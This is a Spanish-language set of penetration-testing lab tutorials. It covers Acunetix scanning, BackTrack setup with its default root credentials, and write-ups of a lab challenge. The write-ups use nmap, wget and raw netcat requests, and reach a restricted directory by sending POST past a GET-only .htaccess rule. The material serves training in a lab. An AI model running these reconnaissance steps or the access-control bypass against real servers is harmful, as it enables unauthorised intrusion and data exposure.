Veamos algunas definiciones de interés:

Apache:

El servidor HTTP Apache es un software (libre) servidor HTTP de código abierto para plataformas Unix (BSD, GNU/Linux, etc.), Windows, Macintosh y otras, que implementa el protocolo HTTP/1.1 y la noción de sitio virtual. Cuando comenzó su desarrollo en 1995 se basó inicialmente en código del popular NCSA HTTPd 1.3, pero más tarde fue reescrito por completo. Su nombre se debe a que Behelendorf eligió ese nombre porque quería que tuviese la connotación de algo que es firme y enérgico pero no agresivo, y la tribu Apache fue la última en rendirse al que pronto se convertiría en gobierno de EEUU, y en esos momentos la preocupación de su grupo era que llegasen las empresas y “civilizasen” el paisaje que habían creado los primeros ingenieros de internet. Además Apache consistía solamente en un conjunto de parches a aplicar al servidor de NCSA. Era, en inglés, a patchy server (un servidor “parcheado”).
(Más información sobre Apache)

WebERP:

WebERP, un Software Libre, que se constituye en una gran alternativa de trabajo para las actividades contables o relacionadas con el ERP (manejo de los recursos empresariales). Se trata de un proyecto de código libre, orientado a ofrecer a pequeñas y medianas empresas, una aplicación potente y sostenible, que les permita ahorrar recursos y costos, a la hora de implementar un sistema de este tipo.
(Más información sobre WebERP)

En el siguiente video tutorial se observa el proceso de análisis de los archivos de configuración de Apache y del WebERP, en este último se destaca que el usuario de conexión por medio de MySQL no tiene asignado ninguna contraseña, aún no puede determinarse si el administrador del sistema configuró el sistema de esta manera o el intruso modificó esta configuración. Eso podremos determinarlo luego de analizar los eventos registrados en el sistema (tema de estudio para la próxima práctica).

Descargar video tutorial del análisis de los archivos de configuración de Apache y del WebERP (Password: www.dragonjar.org)

“Una vulnerabilidad en seguridad informática hace referencia a una debilidad en un sistema permitiendo a un atacante violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones.” (Continúa…)

Práctica 57 – Escaneo de vulnerabilidades Web con Acunetix
Herramienta: Acunetix
Prerequisitos: Ninguno
Contramedidas: Firewalls, seguridad en las listas de control de acceso (ACLs), Bastion Servers/Workstation (Hardening)
Descripción: Acunetix Web Vulnerability Scanner es un escáner de vulnerabilidades en aplicativos Web (CMS, Sistemas de Información Web, Web dinámicas etc.), permite llevar a cabo de manera automática detecciones de vulnerabilidades del tipo SQL Injection, XSS, Cifrado, descubrimiento de directorios, etc.

Como se ha mencionado anteriormente, las soluciones de escaneo de vulnerbilidades no deben ser tomadas como la verdad absoluta en cuanto a descubrimiento se refiere, estos escanners deben ser usados como complemento a las revisiones manuales del código de la aplicación Web objetivo.

Veamos entonces como llevar a cabo un escaneo simple con Acunetix:

Descargamos la herramienta desde la Web oficial

Es posible además descargar una versión libre de Acunetix, pero con la limitante de solo auditar vulnerabilidades del tipo XSS

Una vez descargado, el proceso de instalación no se diferencia a muchos en sistemas windows (siguiente-siguiente)

Quiero resaltar una nuevo complemento disponible en la versión 5.1 de Acunetix. Se trata de una extensión para FireFox, que permite ejecutar el escaner desde el propio navegador.

Una vez instalado procedemos a ejecutar desde los accesos directos creados en la instalación

Ejecución de Acunetix

Wizard de ejecución de Acunetix, para este caso lo haré dirigido a un sistema virtualizado de intrusión

El Wizard no permite hacer un pequeño reconocimiento del sistema objetivo, para este caso ha detectado a Apache 2.x, Fedora, y PHP.

Algunas opciones más de escaneo

Desde esta pantalla podemos seleccionar el tipo de escaneo (Blind Injection, cgi tester, dir file, sql injection, etc)

Damos clic en el botón Finish para iniciar el escaneo

Pantalla de ejecución de Acunetix

Información sobre algunas vulnerabilidades encontradas (aún en ejecución)

<

Detalles del escaneo (finalizado), para este caso 5 de alto riesgo, todas ellas relacionadas a la versión de PHP.

Acunetix presenta un editor personalizado de ejecución de las diferentes vulnerabilidades

Además tiene varias herramientas de explotación y análisis (escaneo de subdominios, editor http, http snnifer, http fuzzer, test de autenticación – fuerza bruta-, etc ).

Como mencioné anteriormente el nuevo Acunetix permite la incorporación al navegador FireFox por medio de una extensión, veamos:

Resultados del escaneo desde FireFox a un objetivo bajo SQL injection

Sobra decir que el objetivo de este laboratorio es simplemente el de llevar a cabo un escaneo automatizado de vulnerabilidades, el tema de explotación de vulnerabilidades será cubierto en próximos laboratorios.

Taller individual:
Uso de otras opciones de Acunetix
Consultar acerca de como llevar a cabo procesos de hardening de sistemas.

Próxima sesión: Spoofing

Objetivos del laboratorio:

1. Familiarizarse con la suite de herramientas incluídas en BackTrack.
2. Cambiar la contrseña que viene por defecto en BackTrack.
3. Conocer los direferentes servicios disponibles en BackTrack (básicos).
4. Configurar y poner en marcha los servicios básicos de BackTrack.
5. Comprobar la disponibilidad de los servicios básicos de BackTrack.
6. Realizar pruebas de conexión a los servicios de BackTrack.

Veamos como iniciar con backtrack

Sistema de booteo de BackTrack

Termina de reconocer y configurar algunos de los dispositivos físicos, luego de cargar estos dispositivos nos ofrece una pantalla de bienvenida, con información de configuración, además de una pantalla de login. La pantalla nos invita a configurar nuestro sistema con algunos comandos, después de logearnos como root.

Para logearnos en el sistema ingresamos:
usuario: root
contraseña: toor

Si desde el comienzo seleccionamos la opción de acceso a la red mediante NAT (VMWare), podemos observar gracias al comando ifconfig nuestras interfaces de red.

Luego podemos configurar el entorno gráfico (xconf) y cargarlo mediante el comando startx
ó Flux (según nuestras preferencias de uso)

Entorno gráfico cargando.

BackTrack cargado como Live CD en su totalidad.

Es importante destacar que el éxito de BackTrack reside en la excelente organización y disposición por grupos de herramientas:

1. Recolección de información
2. Mapeo de red
3. Identificación de vulnerabilidades
4. Penetración / Explotación
5. Escalada de privilegios
6. Mantenimiento del acceso
7. Servicios de red inalámbrica
8. Telefonía sobre VoIP
9. Informática Forense
10. Ingeniería inversa

También podemos ingresar a los diferentes grupos de herramientas desde la línea de comandos:

cd /pentest/

Uno de los primero pasos a realizar debe ser el cambio de contraseña que viene por defecto en backtrack, para ello bastará con ejecutar la siguiente instrucción en la línea de comandos:

passwd

y seguir las instrucciones para completar el cambio

Veremos ahora como identificar y habilitar servicios básicos en backtrack

SSH (Secure Shell)

Empecemos por generar y habilitar el servicio de conexiones seguras (SSHD – Secure Shell Daemon), para ello y desde la línea de comandos ejecutamos la siguiente sintáxis

sshd-generate

Una vez generado nuestro servicio, iniciaremos el mismo como conexión segura:

/usr/sbin/sshd

Ahora, si deseamos comprobar la disponibilidad del servicio de conexiones seguras, basta con ejecutar el siguiente comando para mostrar las conexiones activas y a la escucha en nuestra máquina (para este caso solo consultamos para el puerto 22, puerto usado generalmente para este tipo de conexiones):

netstat -ant|grep 22

Podemos hacer una prueba de conexión desde otro sistema, veamos:

— Servidor Apache —

BackTrack incluye por defecto una instalación del servidor Web Apache, veamos como ponerlo en marcha.

Nota: Cabe aclarar que la mayoría de estos servicios pueden ser ejecutados desde el menu incluído en K-Menú, Servicios. Solo estamos viendo otros métodos en caso de que lo queremos hacer o bien sea, más rápido, ó cuando no tengamos disponible el entorno gráfico.

Pongamos en marcha el servicio de apache desde la línea de comandos:

apachectl start

Y comprobemos la disponiblidad del servicio

netstat -ant|grep 80

Ahora desde un navegador Web

Para detener el servicio solo basta ejecutar la instrucción stop.

apachectl stop

— TFTP (Trivial File Transfer Protocol – Protocolo de transferencia de archivos trivial) —

Veamos como poner en marcha el servidor TFTP que incluye por defecto el S.O BackTrack.

Desde la línea de comandos ejecutamos la siguiente instrucción:

atftpd –daemon –port 69 /tap/

Ahora comprobemos la disponiblidad del servicio

netstat -anu|grep 69

Hagamos una prueba de transferencia de archivos

— VNC —

Veamos como configurar y poner en marcha nuestro propio servicio de VNC en BackTrack, para ello ejecutamos la siguiente instrucción:

vncserver

Solo tenemos que seguir las intrucciones en pantalla (definir contraseña de acceso)

Verifiquemos que nuestra máquina realmente está a la escucha de nuevas conexiones, para ello ejecutamos la siguiente instrucción:

netstat -ant|grep 590

Ahora hagamos una prueba de conexión desde otra máquina

Aquí termina el laboratorio sobre habilitación, configuración y prueba de servicios básicos en BackTrack. Estos mismo servicios pueden ser habilitados de manera gráfica en el propio menú K de BackTrack, además pueden ser encontrados algunos otros instalados por defecto en el sistema, esta será la práctica para cada uno de los seguidores de los laboratorios, espero que sean enviadas las capturas de pantallas, además de los comentarios sobre el mismo.

Palabras clave:
Apache, VNC, TFTP, SSH, BackTrack, Booteo, NAT, VMWare

Nota:
Este nuevo recurso está basado en el sistema de entrenamiento ofrecido por los desarrolladores y colaboradores del proyecto BackTrack (Remote-Exploit) Offensive-security.com.

Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 2 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org)

Herramientas necesarias:

NetCat

Palabras claves (Documentos de interés, Definiciones):

NetCat – Servidor Web – Apache – PHP – Vulnerabilidades – Tamper Data – Proxy – Paros Proxy – Perl – .HTACCESS – Peticiones

Lo primero que corresponde es analizar el comportamiento de un acceso a dicho directorio bajo unos cuantos supuestos. Cada cual lo puede hacer como más le guste, desde Mozilla con Tamper Data, con un proxy intermedio como Paros, o directamente con un nc desde la línea de comandos, aquí usaremos esta última.

> nc www.blindware.inc 80
GET /data/stats HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

> nc www.blindware.inc 80
GET /data/stats/index.html HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

> nc www.blindware.inc 80
GET /data/stats/ficherocualquiera HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

Primera Idea: De esta primera prueba nos debemos percatar que incluso con ficheros aleatorios, cuya probabilidad de existir en esa ruta es prácticamente 0%, nos sigue dando la misma respuesta, por tanto podemos deducir que existe un control de acceso a ese directorio por parte del propio Apache, que fuerza una redirección a la URL: http://www.blindware.inc/data/error-stats.html, o dicho de otra forma, que solicitemos el fichero que solicitemos Apache nos va a mostrar la pagina de error-stats.html

Visto esto, veámos que información da el “error-stats.html”:

Access to “/var/www/blindware/htdocs/data/stats/” Forbidden
Your access isn’t allowed to this path
HTTP METHOD RESTRICTED TO 127.0.0.1

Esta web nos devuelve una información relevante sobre una denegación de acceso a la que somos redirigidos siempre, por tanto, y como consejo general a menos que estemos muy familiarizados con Apache, lo que haremos será documentar qué motivos pueden llevar a Apache a generar un mensaje de este tipo. Para ello bien nos puede servir buscar en Google: Access Forbidden Apache. Leyendo por encima los enlaces que aparecen, encontraremos como información relevante que es un error de Apache numerado con el número 403 y que se produce bajo ciertas circunstancias:

• Solicitar un directorio que no contiene índice ( index.html ) cuando la opción INDEXES está desactivada.
• Solicitar un directorio que tiene denegado el acceso bajo todas o alguna circunstancia.

Así mismo, vemos que mediante ficheros “.htaccess” o en la propia configuración de Apache, podemos configurar una directiva denominada ErrorDocument 403 que nos redirige a una página web concreta en caso de que se produzca un error 403. Es evidente, que en nuestro escenario no estamos solicitando un directorio que no contiene índice, sino que ante cualquier fichero que solicitemos, nos produce este resultado, por tanto, a priori, nos encontraremos en el caso en el que el directorio tiene denegado el acceso y se ha asociado una cláusula ErrorDocument a él.

Intentemos emular por tanto el escenario, y para ello qué mejor que dirigirse al howto para control de accesos que dispone Apache y ver qué habría que introducir en su configuración para obtener un comportamiento como el que vemos en este servidor. En esta web encontraremos algún que otro ejemplo, pero uno interesante por encima del resto:

Order deny,allow
Deny from all
Allow from W.X.Y.Z

Segunda Idea: de lo anterior podemos inducir que bien una cláusula bien un fichero .htaccess dentro del directorio data/stats están limitando el acceso. Y que su estructura será parecida a la siguiente:

ErrorDocument 403 http://www.blindware.inc/data/error-stats.html
Order deny,allow
Deny from all
Allow from 127.0.0.1

La primera línea es la que marca la redirección al fichero “error-stats.html” en caso de que se produzca un acceso no autorizado. Así mismo, la cláusula “Deny from all” deniega el acceso a todos los usuarios menos a los autorizados por una cláusula “Allow” que en este caso serán los provenientes de 127.0.0.1 (localhost).

Con esto hemos replicado el comportamiento del escenario del nivel, ¿qué podemos hacer ahora?. Siempre tenemos 2 opciones una vez hemos conseguido conocer la estructura y replicarla bajo nuestro total control: buscar una vulnerabilidad pública o descubrirla por nosotros mismos. Desde aquí recomendamos encarecidamente el no reinventar la rueda: las listas públicas de vulnerabilidades existen para algo y es para ser usadas. Es cierto, que no siempre las vulnerabilidades existentes, y los exploits desarrollados para ellas se adaptarán 100% a nuestras necesidades, pero con diferencia nos ahorrarán mucho trabajo. Por ello, para sobrepasar esta medida de protección recomendamos buscar en Google etiquetas como las siguientes: apache access bypass, htaccess bypass, o apache access weakness.

Estas búsquedas nos devolverán un importante número de referencias a vulnerabilidades públicas en el control de accesos por parte de Apache (R1, R2).

De la lectura de estas fuentes, podemos suponer que es posbile que exista una vulnerabilidad de configuración en el escenario propuesto para la segunda idea. ¿Cuál sería esta vulnerabilidad? Por ejemplo, una configuración como la siguiente:

ErrorDocument 403 http://www.blindware.inc/data/error-stats.html
<LIMIT GET>
Order deny,allow
Deny from all
Allow from 127.0.0.1
</LIMIT>

Para verificarlo volvemos a hacer uso de nc desde la línea de comandos.

> nc www.blindware.inc 80
OPTIONS /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:29:51 GMT
Server: Apache/2.2.4 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

> nc www.blindware.inc 80
TRACE /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:30:19 GMT
Server: Apache/2.2.4 (Fedora)
Connection: close
Content-Type: message/http

TRACE /data/stats/ HTTP/1.0

> nc www.blindware.inc 80
PUT /data/stats/ HTTP/1.0

HTTP/1.1 405 Method Not Allowed
Date: Tue, 17 Jul 2007 12:30:49 GMT
Server: Apache/2.2.4 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 324
Connection: close
Content-Type: text/html; charset=iso-8859-1

Efectivamente, existe una configuración incorrecta. Con sólo leer las respuestas del servidor vemos cómo únicamente es filtrado el método GET, mientras que por el contrario el método OPTIONS, TRACE o PUT son correctamente procesados por Apache. ¿Cómo se puede explotar esto?.

La explotación de este fallo de seguridad depende del fichero sobre el que hagamos la petición, en caso de ser un fichero procesable por un módulo de Apache, como puede ser PHP, PERL, etc, la explotación es mucho más sencilla porque los metodos OPTIONS o PUT devolverán exactamente lo mismo que un método GET en la inmensa mayoría de las ocasiones. Sin embargo, si el fichero lo procesa directamente Apache, como es el caso de los ficheros HTML con contenido estático, el único método diferente a GET que tiene el mismo resultado es POST. Por tanto, y dado que en este caso parece que lo que estamos buscando es el fichero “index.html” debemos hacer uso del método POST.

> nc www.blindware.inc 80
POST /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:31:57 GMT
Server: Apache/2.2.4 (Fedora)
Last-Modified: Tue, 08 May 2007 20:46:48 GMT
ETag: “a8023-4eed-8431de00?
Accept-Ranges: bytes
Content-Length: 20205
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>Web Server Statistics for Blindware Inc.</title>
<meta http-equiv=”Content-Type” content=”text/html; charset=ISO-8859-1? />
<meta name=”robots” content=”noindex,nofollow” />
<title>Server Statistics for Blindware Inc.</title>(..)

Efectivamente, nos devuelve el fichero index.html de forma correcta, por tanto podemos salvarlo a un fichero y leerlo localmente con cualquier navegador, viendo entre otros los siguientes datos:

Directory Report

This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

/web/
[root directory]
/data/
/icons/
/_controlp/

En la sección destinada a directorios accedidos encontramos un directorio en el que no habíamos reparado y de nombre “_controlp/”.

Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 1 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org)

Herramientas necesarias:

NetCat
Nmap
Wikto
Wget
.Net Framework 2.0

Palabras claves (Documentos de interés, Definiciones):

Nmap – NetCat – Wikto – Wget – .Net Framework – ICMP – Clases de redes – Ping – Puertos – Subred – Escaneo – Servidor Web – Apache – PHP – Vulnerabilidades – JavaScript – HTTP – Robots.txt – Logs

En este primer nivel, que sirve como toma de contacto con el modelo de resolución, lo primero que haremos será marcar unos objetivos principales, que bien podrán servir tanto para afrontar este reto, como en general para el inicio de cualquier actividad que tenga como finalidad determinar posibles puntos de intrusión en un sistema.

Los objetivos son los siguientes:

• Conocer la estructura del sistema y de la red
• Conocer la estructura del aplicativo
• Buscar ficheros por defecto con información sensible
• Analizar la lógica del aplicativo
• Determinar los posibles puntos de intrusión
• Información sobre Red y Servicios

Vamos a comenzar delimitando los sistemas presentes en la red de clase C 192.168.200.0/24 . Para hacerlo, usamos nmap con su modificador –sP ( ICMP Ping ), aunque bien se puede dar la circunstancia de existir sistemas que no contesten a tráfico ICMP.

> nmap -sP 192.168.200.1-254

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 18:51 Hora estandar romance
Host 192.168.200.1 appears to be up.
Host www.blindware.inc (192.168.200.2) appears to be up.
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)
Nmap finished: 254 IP addresses (2 hosts up) scanned in 17.016 seconds

Por ello, una comprobación también es interesante es verificar directamente algunos puertos típicos, haciendo uso de tráfico TCP, sin usar comprobación previa por ICMP. Por ejemplo lo podemos hacer con el modificador –P0 –p 80, indicando así que no se envíe un “ping” previo, y que se compruebe el puerto 80/tcp.

En nuestro caso concreto, y dado que directamente parece que no existe ningún otro host activo en esa subred, escanearemos la IP 192.168.200.2. Podremos escanear por defecto, eliminando el modificador “-p”, algunos puertos concretos o escanearlos todos “-p 1-65535”. Un detalle importante que siempre debemos recordar es que cuando marcamos un escaneo –sS o –sT, o sin tipo, únicamente escaneamos puertos TCP, los puertos UDP deben escanearse con el modificador –sU. En nuestro caso este ha sido el resultado.

> nmap -P0 -sS -p 22,23,25,80,110,443,3306 192.168.200.2

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:02 Hora estßndar romance
Interesting ports on www.blindware.inc (192.168.200.2):
PORT STATE SERVICE
22/tcp filtered ssh
23/tcp filtered telnet
25/tcp filtered smtp
80/tcp open http
110/tcp filtered pop3
443/tcp open https
3306/tcp filtered mysql
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)

Nmap finished: 1 IP address (1 host up) scanned in 0.360 seconds

De esta verificación obtenemos que existen 2 puertos abiertos en ese sistema: 80 y 443, en un principio coorrespondientes a tráfico http y https. Existe otro modificador que nos puede dar más información sobre estos puertos: –sV

> nmap -sV -p 80,443 192.168.200.2

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:14 Hora estandar romance
Interesting ports on www.blindware.inc (192.168.200.2):
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.4 ((Fedora))
443/tcp open ssl OpenSSL
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)

Nmap finished: 1 IP address (1 host up) scanned in 6.719 seconds

Llegados a este punto, podemos decir que si bien podemos seguir haciendo un uso más intensivo de herramientas de red, para nuestros propósitos hemos conseguido establecer la existencia de un sistema activo en la subred determinada, el cual cuenta con 2 puertos TCP abiertos, sobre los que ofrece servicio http y https.

Información sobre el Servidor Web

¿Cuál es nuestro segundo objetivo? Como dijimos inicialmente, familiarizarnos con toda la estructura del aplicativo web. ¿Por qué? Primero, porque en el sistema activo para la subred 192.168.200.0/24, no parecen existir otro tipo de servicios. Además de ello, debemos tener muy presente, que en la actualidad y de forma mayoritaria, la inseguridad se ha ido desplazando desde los servicios y elementos de red, a las aplicaciones web sobre el servicio http/https. Por tanto, a pesar de que pudieran existir otros servicios, sobre el aplicativo web, siempre que exista, incidiremos con especial detalle.

Una conexión directa haciendo uso de netcat, y una petición al servicio web nos muestra la siguiente información:

> nc 192.168.200.2 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 05 Jul 2007 19:20:20 GMT
Server: Apache/2.2.4 (Fedora)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8

A todos los efectos, esto nos sirve para comprobar que se tratan de versiones actualizadas de Apache y de PHP y que por tanto, las vulnerabilidades existentes, como suele ser común, no residen en los servicios de red, sino que deberemos buscarlas dentro del aplicativo web.

Lo siguiente que debemos hacer es obtener información sobre el árbol web. Desde aquí recomendamos que el spidering ( nombre que comúnmente recibe esta técnica ) se realice sin usar aplicativos integrados en el navegador, pues algunos tienen la mala costumbre de interpretar código javascript pudiendo hacer que obviemos detalles importantes debido a la automatización del proceso. Wget o httrack son unas herramientas muy válidas para la tarea.

> wget -r http://www.blindware.inc
–19:28:15– http://www.blindware.inc/
=> `www.blindware.inc/index.html’
Resolving www.blindware.inc… 192.168.200.2
Connecting to www.blindware.inc|192.168.200.2|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: unspecified [text/html]

[ <=> ] 24 –.–K/s

19:28:15 (1.02 MB/s) – `www.blindware.inc/index.html’ saved [24]

Loading robots.txt; please ignore errors.
–19:28:15– http://www.blindware.inc/robots.txt
=> `www.blindware.inc/robots.txt’
Connecting to www.blindware.inc|192.168.200.2|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 33 [text/plain]

100%[====================================>] 33 –.–K/s

19:28:15 (1.12 MB/s) – `www.blindware.inc/robots.txt’ saved [33/33]

–19:28:15– http://www.blindware.inc/load.js
=> `www.blindware.inc/load.js’
Connecting to www.blindware.inc|192.168.200.2|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 76 [application/x-javascript]

100%[====================================>] 76 –.–K/s

19:28:15 (2.30 MB/s) – `www.blindware.inc/load.js’ saved [76/76]

FINISHED –19:28:15–
Downloaded: 133 bytes in 3 files

Ese es el resultado inicial para http://www.blindware.inc. Si lo repetimos sobre http://intranet.blindware.inc no obtendremos nada porque nos pide autenticación, y por el momento la desconocemos. Por último, si lo llevamos a cabo sobre el servicio HTTPS, https://www.blindware.inc o https://intranet.blindware.inc obtenemos un index.html en blanco.

De esto concluimos que, al menos, se están sirviendo 3 escenarios diferentes. Uno por HTTP para www.blindware.inc, otro por HTTP para intranet.blindware.inc y por último, lo que parece uno común por HTTPS que sirve un index.html en blanco.

Vamos a verificar qué contienen los ficheros descargados:

> type index.html
script src=”load.js”>

> type load.js
// document.location.href=’data/0.html’
Document.location.href=’web/0.html’;

> type robots.txt
User-agent: *
Disallow: /data/

Como podemos comprobar desde el fichero index.html existe una llamada a un fichero con contenido javascript (load.js) el cual tiene como misión redirigir el tráfico hacia la web principal. Nos debemos percatar, que existe una línea comentada dentro de este fichero, la cual nos da información sobre una ruta diferente a la habitual data/0.html. Así mismo dentro del fichero robots.txt volvemos a encontrar una referencia a esta ruta. Si continuamos descargando contenidos desde web/0.html comprobamos que únicamente se descarga contenido estático en html.

Así que hasta el momento, y como conclusión, sabemos que existe una carpeta web/, la cual no parece contener nada reseñable, más que el contenido estático del site, y la carpeta data/, sobre la cual hablaremos más adelante.

Vulnerabilidades y Ficheros Sensibles

A continuación, debemos determinar ficheros, configuraciones, o posibles fallos conocidos en el servicio web. Para esta tarea existen numerosas aplicaciones, desde AppScan, a Nikto, o su port a Win32, Wikto. Nosotros vamos a utilizar este último, concretamente sus funciones destinadas a la exploración de contenido backend, cuya finalidad es extraer mediante una exploración por diccionario carpetas y ficheros ocultos, así como la propia utilidad Nikto, que nos escaneará la web buscando vulnerabilidades conocidas. Advertencia: El uso de herramientas automatizadas puede provocar falsos positivos, que debemos comprobar antes de emitir cualquier tipo de valoración.

Los resultados de la ejecución de Wikto son los siguientes:

BackEnd

#Directories
www.blindware.inc/
www.blindware.inc/cgi-bin/
www.blindware.inc/data/
www.blindware.inc/error/
www.blindware.inc/data/stats/
www.blindware.inc/error/include/
#Indexable
www.blindware.inc/data/
#Files
www.blindware.inc/index.php
www.blindware.inc/robots.txt

Nikto

/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
/index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
/index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
/WS_FTP.LOG

De esta información podemos obtener los siguientes datos relevantes:

• La existencia de un directorio /data/stats
• La existencia de un fichero WS_FTP.LOG
• La existencia de un fichero robots.txt
• Información sobre PHP

Un paseo por la aplicación visible, podemos hacerlo con Paros por ejemplo, nos desvela que, a priori, los que vemos es un contenido pre-generado de forma estática y cuya única entrada de datos se encuentra en el formulario contacto. Podemos analizarlo, pero no vamos a encontrar ningún comportamiento anómalo, ya que si nos damos cuenta el campo “action” de ese formulario va en blanco. Esto nos debe hacer pensar, que en caso de existir partes vulnerables, no se encuentran accesibles al público directamente.

Como información adicional decir que muchos gestores de contenido, entre ellos los más robustos, generan el contenido de forma estática desde un aplicativo en backend, haciendo que la parte visible de la aplicación carezca, casi por completo, de contenido dinámico, y de entradas por parte del usuario. Existirán por el contrario, otros aplicativos, como foros, buscadores, o secciones de prensa, cuyo contenido utilice generación dinámica. En estos casos, deberemos probar la inclusión sobre sus parámetros de código SQL, código HTML, código PHP, etc. buscando un comportamiento extraño.

Busqueda de un Punto de Intrusión

Para buscar un punto de intrusión, debemos recopilar lo que sabemos hasta el momento, ordenar las ideas y tomar una decisión, que vaya por delante, no tiene porqué ser la correcta. Dicho de otra forma, todo lo realizado hasta el momento nos lleva a suposiciones plausibles, pero nada nos garantiza que estemos en lo cierto. Vamos a ver lo que sabemos:

1. Existen 3 contenidos diferentes servidos por el servidor web
1. http://www.blindware.inc ( En adelante www )
2. http://intranet.blindware.inc ( En adelante intranet )
3. https://www.blindware.inc y https://intranet.blindware.inc ( En adelante https )
2. El contenido de https que podemos revisar con Wikto no parece contener nada.
3. Intranet nos pide autenticación para acceder.
4. En www conocemos que:
1. Tanto por la información pública existente, como por Wikto, existen sendos directorios de nombre data/ y data/stats/
2. Wikto nos revela la existencia del fichero WS_FTP.LOG

Antes de continuar debemos revisar el fichero WS_FTP.LOG:

2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/index.php
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd0.log
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd1.log
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd2.log
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd3.log

Con lo cual, parece que tenemos 2 opciones:

1. Atacar la autenticación de intranet
2. Intentar acceder en WWW a data/stats/ ( y a lo que parecen ser logs )

Aquí hay que decidir, en este caso, sobre intranet no sabemos absolutamente nada, mientras que sobre data/stats/ al menos sabemos que el día 8 de Mayo de 2007, contenía algún tipo de fichero de logs.

Evidentemente cada uno puede buscar lo que prefiera, y dónde prefiera, pero en este caso, los LOGS pueden resultar una información de vital interés pues pueden desvelarnos partes ocultas del aplicativo, y otras áreas de las que no tenemos conocimiento, así como usuarios con los que se accede a ellas ( si el acceso se hace autenticado mediante apache ) y otros muchos detalles.

Por el contrario, atacar directamente una autenticación de Apache, salvo que esté incorrectamente configurada, es algo bastante poco probable de llevar a buen fin, porque a priori, únicamente podremos atacar por fuerza bruta.

Con esto podemos concluir el primer nivel, habiendo visto las siguientes vulnerabilidades relativas a la “publicación de información sensible”:

• En los comentarios del fichero “load.js” se filtra información
• El fichero robots.txt mal facilita información relativa a áreas del aplicativo no públicas
• Existen el WS_FTP.LOG conteniendo información sensible
• El servidor Apache, está incorrectamente configurado, permite, mediante la opción INDEXES, la navegación por aquellos directorios que no contienen un fichero índice.

Así mismo tenemos un objetivo para iniciar nuestro ataque: el directorio data/stats/ terminando así el primer nivel de Sauron. Este primer nivel es igual para ambos niveles de complejidad.